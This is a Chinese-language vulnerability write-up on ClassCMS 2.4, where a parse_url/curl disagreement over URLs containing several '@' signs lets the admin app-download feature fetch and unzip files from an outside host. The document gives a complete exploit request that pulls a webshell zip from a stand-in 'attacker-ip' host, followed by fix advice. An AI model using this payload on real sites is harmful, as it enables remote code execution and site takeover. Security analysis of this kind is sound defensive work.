某CMS2.4代码审计
字数 1116 2025-08-29 08:30:36
ClassCMS 2.4 远程文件下载漏洞分析与利用
漏洞概述
ClassCMS 2.4 版本在后台管理系统中存在一个远程文件下载漏洞,攻击者可以通过构造特殊的URL绕过主机名验证,实现任意文件下载并解压,最终可能导致远程代码执行。
漏洞位置
后台管理模块中的"应用管理->应用下载"功能:
http://[target]/admin666?do=shop:downloadClass&ajax=1
漏洞条件
- 需要后台管理员权限
- 目标服务器需要安装并启用php_zip扩展
漏洞分析
关键代码路径
漏洞主要存在于以下文件中:
/class/shop/shop.php中的downloadClass()和download()函数
漏洞原理
-
主机名验证绕过:
- 系统使用
parse_url()解析URL获取主机名 - 但实际下载时使用curl库解析URL
- 两者对包含多个
@符号的URL解析方式不同
- 系统使用
-
下载与解压流程:
- 下载的文件会被保存到缓存目录
- 然后解压到
/class/{classhash}/目录下
关键代码片段
function download($url,$filepath) {
$hosts=array_merge(explode(';',C('this:defaultHost')),array(config('host')));
if($defaulthost=config('defaulthost')) {
$hosts=array_merge($hosts,explode(';',$defaulthosts));
}
$checkurl=parse_url($url);
if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
Return false;
}
// 实际下载操作...
}
漏洞利用
利用步骤
- 准备一个包含恶意PHP文件的ZIP压缩包(如
shell.zip包含shell.php) - 构造特殊的URL绕过主机名验证
- 发送恶意请求触发下载
- 访问解压后的恶意文件执行代码
利用Payload
请求包示例:
POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [有效的管理员cookie]
classhash=test&url=http://@attacker-ip:80@classcms.com/shell.zip&csrf=[有效的CSRF令牌]
关键参数说明
classhash: 解压后的目录名url: 构造的特殊URL格式:http://@[攻击者IP]:[端口]@classcms.com/[文件名].zip
csrf: 有效的CSRF令牌
漏洞验证
-
黑盒测试:
- 修改URL参数尝试下载外部文件
- 观察返回信息:"安装包格式错误,请重试"表示下载成功但解压验证失败
-
白盒测试:
- 本地搭建环境调试
parse_url()与curl的解析差异 - 验证绕过逻辑的有效性
- 本地搭建环境调试
影响版本
ClassCMS 2.4及可能更早版本
修复建议
- 升级到最新版本
- 临时修复方案:
- 修改
/class/shop/shop.php中的download()函数 - 添加对URL中
@符号的检查 - 使用更严格的主机名验证机制
- 修改
技术细节
parse_url与curl解析差异
parse_url(): 解析最后一个@之后的内容作为hostcurl: 解析第一个@之后的内容作为host
受影响PHP版本
在较新版本的curl(curl>=7.54.0)中已修复多个@的解析问题,使用多个@会报错。
漏洞证明
成功利用后,恶意文件将存在于:
http://target.com/class/[classhash值]/[恶意文件名].php
参考
- Black Hat 2017: "A New Era of SSRF" by Orange Tsai
- CURL漏洞CVE-2017-1000257